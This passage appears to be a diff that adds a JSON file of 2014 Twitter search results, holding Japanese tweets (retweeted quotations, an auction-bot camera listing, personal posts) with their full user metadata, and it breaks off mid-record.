+ }, + "created_at": "Sun Aug 31 00:29:06 +0000 2014", + "id": 505874885474656260, + "id_str": "505874885474656256", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "爆笑★LINE あるある", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2709561589, + "id_str": "2709561589", + "name": "爆笑★LINE あるある", + "screen_name": "line_aru1", + "location": "", + "description": "思わず笑ってしまうLINEでのやりとりや、あるあるを見つけたいです♪面白かったら RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 496, + "friends_count": 1875, + "listed_count": 1, + "created_at": "Tue Aug 05 15:01:30 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 687, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/496673793939492867/p1BN4YaW_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/496673793939492867/p1BN4YaW_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2709561589/1407251270", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:05 +0000 2014", + "id": 505874884627410940, + "id_str": "505874884627410944", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "全力★ミサワ的w発言", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2734455415, + "id_str": "2734455415", + "name": "全力★ミサワ的w発言!!", + "screen_name": "misawahatugen", + "location": "", + "description": "ウザすぎて笑えるミサワ的名言や、おもしろミサワ画像を集めています。 \r\nミサワを知らない人でも、いきなりツボにハマっちゃう内容をお届けします。 \r\nウザいwと思ったら RT & 相互フォローお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 144, + "friends_count": 1915, + "listed_count": 1, + "created_at": "Fri Aug 15 13:20:04 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 436, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/500271070834749444/HvengMe5_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/500271070834749444/HvengMe5_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2734455415/1408108944", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:05 +0000 2014", + "id": 505874883809521660, + "id_str": "505874883809521664", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "お宝ww有名人卒アル特集", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2708183557, + "id_str": "2708183557", + "name": "お宝ww有名人卒アル特集", + "screen_name": "otakara_sotuaru", + "location": "", + "description": "みんな昔は若かったんですね。今からは想像もつかない、あの有名人を見つけます。\r\n面白かったら RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 286, + "friends_count": 1938, + "listed_count": 0, + "created_at": "Tue Aug 05 03:26:54 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 650, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/496499121276985344/hC8RoebP_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/496499121276985344/hC8RoebP_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2708183557/1407318758", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:05 +0000 2014", + "id": 505874883322970100, + "id_str": "505874883322970112", + "text": "レッドクリフのキャラのこと女装ってくそわろたwww朝一で面白かった( ˘ω゜)笑", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1620730616, + "id_str": "1620730616", + "name": "ひーちゃん@橘芋健ぴ", + "screen_name": "2nd_8hkr", + "location": "北の大地.95年組 ☞ 9/28.10/2(5).12/28", + "description": "THE SECOND/劇団EXILE/EXILE/二代目JSB ☞KENCHI.AKIRA.青柳翔.小森隼.石井杏奈☜ Big Love ♡ Respect ..... ✍ MATSU Origin✧ .た ち ば な '' い も '' け ん い ち ろ う さ んTEAM NACS 安田.戸次 Liebe !", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 109, + "friends_count": 148, + "listed_count": 0, + "created_at": "Thu Jul 25 16:09:29 +0000 2013", + "favourites_count": 783, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 9541, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/458760951060123648/Cocoxi-2_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/458760951060123648/Cocoxi-2_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1620730616/1408681982", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:05 +0000 2014", + "id": 505874883067129860, + "id_str": "505874883067129857", + "text": "【状態良好】ペンタックス・デジタル一眼レフカメラ・K20D 入札数=38 現在価格=15000円 http://t.co/4WK1f6V2n6終了=2014年08月31日 20:47:53 #一眼レフ http://t.co/PcSaXzfHMW", + "source": "YahooAuction Degicame", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2278053589, + "id_str": "2278053589", + "name": "AuctionCamera", + "screen_name": "AuctionCamera", + "location": "", + "description": "Yahooオークションのデジカメカテゴリから商品を抽出するボットです。", + "url": "https://t.co/3sB1NDnd0m", + "entities": { + "url": { + "urls": [ + { + "url": "https://t.co/3sB1NDnd0m", + "expanded_url": "https://github.com/AKB428/YahooAuctionBot", + "display_url": "github.com/AKB428/YahooAu…", + "indices": [ + 0, + 23 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 5, + "friends_count": 24, + "listed_count": 0, + "created_at": "Sun Jan 05 20:10:56 +0000 2014", + "favourites_count": 1, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 199546, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/419927606146789376/vko-kd6Q_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/419927606146789376/vko-kd6Q_normal.jpeg", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [ + { + "text": "一眼レフ", + "indices": [ + 95, + 100 + ] + } + ], + "symbols": [], + "urls": [ + { + "url": "http://t.co/4WK1f6V2n6", + "expanded_url": "http://atq.ck.valuecommerce.com/servlet/atq/referral?sid=2219441&pid=877510753&vcptn=auct/p/RJH492.PLqoLQQx1Jy8U9LE-&vc_url=http://page8.auctions.yahoo.co.jp/jp/auction/h192024356", + "display_url": "atq.ck.valuecommerce.com/servlet/atq/re…", + "indices": [ + 49, + 71 + ] + } + ], + "user_mentions": [], + "media": [ + { + "id": 505874882828046340, + "id_str": "505874882828046336", + "indices": [ + 101, + 123 + ], + "media_url": "http://pbs.twimg.com/media/BwU6hpPCEAAxnpq.jpg", + "media_url_https": "https://pbs.twimg.com/media/BwU6hpPCEAAxnpq.jpg", + "url": "http://t.co/PcSaXzfHMW", + "display_url": "pic.twitter.com/PcSaXzfHMW", + "expanded_url": "http://twitter.com/AuctionCamera/status/505874883067129857/photo/1", + "type": "photo", + "sizes": { + "large": { + "w": 600, + "h": 450, + "resize": "fit" + }, + "medium": { + "w": 600, + "h": 450, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "small": { + "w": 340, + "h": 255, + "resize": "fit" + } + } + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:05 +0000 2014", + "id": 505874882995826700, + "id_str": "505874882995826689", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "ヤバすぎる!!ギネス世界記録", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2762405780, + "id_str": "2762405780", + "name": "ヤバすぎる!!ギネス世界記録", + "screen_name": "yabai_giness", + "location": "", + "description": "世の中には、まだまだ知られていないスゴイ記録があるんです! \r\nそんなギネス世界記録を見つけます☆ \r\nどんどん友達にも教えてあげてくださいねww \r\nヤバイと思ったら RT & フォローを、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 36, + "friends_count": 985, + "listed_count": 0, + "created_at": "Sun Aug 24 13:17:03 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 210, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503531782919045121/NiIC25wL_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503531782919045121/NiIC25wL_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2762405780/1408886328", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:05 +0000 2014", + "id": 505874882870009860, + "id_str": "505874882870009856", + "text": "すごく面白い夢見た。魔法科高校通ってて(別に一科二科の区別ない)クラスメイトにヨセアツメ面子や赤僕の拓也がいて、学校対抗合唱コンクールが開催されたり会場入りの際他校の妨害工作受けたり、拓也が連れてきてた実が人質に取られたりとにかくてんこ盛りだった楽しかった赤僕読みたい手元にない", + "source": "Twitter for Android", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 597357105, + "id_str": "597357105", + "name": "ふじよし", + "screen_name": "fuji_mark", + "location": "多摩動物公園", + "description": "成人腐女子", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 128, + "friends_count": 126, + "listed_count": 6, + "created_at": "Sat Jun 02 10:06:05 +0000 2012", + "favourites_count": 2842, + "utc_offset": 32400, + "time_zone": "Irkutsk", + "geo_enabled": false, + "verified": false, + "statuses_count": 10517, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "0099B9", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme4/bg.gif", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme4/bg.gif", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503553738569560065/D_JW2dCJ_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503553738569560065/D_JW2dCJ_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/597357105/1408864355", + "profile_link_color": "0099B9", + "profile_sidebar_border_color": "5ED4DC", + "profile_sidebar_fill_color": "95E8EC", + "profile_text_color": "3C3940", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:05 +0000 2014", + "id": 505874882228281340, + "id_str": "505874882228281345", + "text": "RT @oen_yakyu: ●継続試合(中京対崇徳)46回~ 9時~\n 〈ラジオ中継〉\n らじる★らじる→大阪放送局を選択→NHK-FM\n●決勝戦(三浦対中京or崇徳) 12時30分~\n 〈ラジオ中継〉\n らじる★らじる→大阪放送局を選択→NHK第一\n ※神奈川の方は普通のラ…", + "source": "twicca", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 18477566, + "id_str": "18477566", + "name": "Natit(なち)@そうだ、トップ行こう", + "screen_name": "natit_yso", + "location": "福岡市の端っこ", + "description": "ヤー・チャイカ。紫宝勢の末席くらいでQMAやってます。\r\n9/13(土)「九州杯」今年も宜しくお願いします!キーワードは「そうだ、トップ、行こう。」\r\nmore → http://t.co/ezuHyjF4Qy \r\n【旅の予定】9/20-22 関西 → 9/23-28 北海道ぐるり", + "url": "http://t.co/ll2yu78DGR", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/ll2yu78DGR", + "expanded_url": "http://qma-kyushu.sakura.ne.jp/", + "display_url": "qma-kyushu.sakura.ne.jp", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [ + { + "url": "http://t.co/ezuHyjF4Qy", + "expanded_url": "http://twpf.jp/natit_yso", + "display_url": "twpf.jp/natit_yso", + "indices": [ + 83, + 105 + ] + } + ] + } + }, + "protected": false, + "followers_count": 591, + "friends_count": 548, + "listed_count": 93, + "created_at": "Tue Dec 30 14:11:44 +0000 2008", + "favourites_count": 11676, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": false, + "verified": false, + "statuses_count": 130145, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "131516", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme14/bg.gif", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme14/bg.gif", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/1556202861/chibi-Leon_normal.jpg", + "profile_image_url_https": 